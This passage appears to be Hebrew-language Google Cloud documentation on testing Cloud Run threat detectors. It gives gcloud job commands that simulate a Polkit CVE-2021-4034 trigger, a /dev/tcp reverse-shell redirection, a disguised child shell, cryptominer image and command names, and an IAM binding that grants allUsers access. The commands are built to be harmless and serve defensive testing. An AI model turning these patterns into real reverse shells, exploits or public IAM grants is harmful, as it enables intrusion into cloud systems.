JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) ממצא.

Reverse Shell

כדי להפעיל Reverse Shell ממצא, מתחילים בינארי עם הפניה stdin לשקע שמחובר ל-TCP.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Reverse Shell.

Unexpected Child Shell

כדי לבדוק את הגלאי Unexpected Child Shell, יוצרים עץ תהליכים שכולל תהליך של מעטפת צאצא.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --task-timeout 700 \
      --args "-c",'sleep 601; cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; /tmp/consul -c "/tmp/sh child ran successfully & wait"; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Unexpected Child Shell. הערה: יכול להיות שיחלפו עד 15 דקות עד שתוצאות הבדיקה יופיעו.

הרצה: קובץ אימג' של Docker לכריית מטבע וירטואלי

כדי להפעיל ממצא Execution: Cryptomining Docker Image, צריך לפרוס קונטיינר באמצעות שם קובץ אימג' של Docker שמשויך לתוכנת כריית מטבע וירטואלי.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image docker.io/security-test-DO-NOT-USE/xmrig:latest \
      --command sh \
      --wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Execution: Cryptomining Docker Image ממצא. שימו לב שהפריסה של העבודה תיכשל כי התמונה לא קיימת, אבל הממצא עדיין ייווצר.

השפעה: פקודות לכריית מטבע וירטואלי

כדי להפעיל ממצא מסוג Impact: Cryptomining Commands, מריצים פקודה עם ארגומנטים שדומים לתוכנות ידועות לכריית מטבעות קריפטוגרפיים.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command xmrig \
      --wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Impact: Cryptomining Commands. הערה: הפעלת העבודה תיכשל כי הפקודה לא קיימת בתמונה, אבל הממצא עדיין ייווצר.

העלאת רמת הרשאה: חשבון השירות שמוגדר כברירת מחדל של Compute Engine ‏SetIAMPolicy

כדי להפעיל ממצא של Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, מריצים פקודה שמשתמשת בחשבון השירות שמוגדר כברירת מחדל ב-Compute Engine כדי להגדיר את מדיניות ה-IAM של שירות Cloud Run.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
      --command gcloud \
      --args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy ממצא.

המאמרים הבאים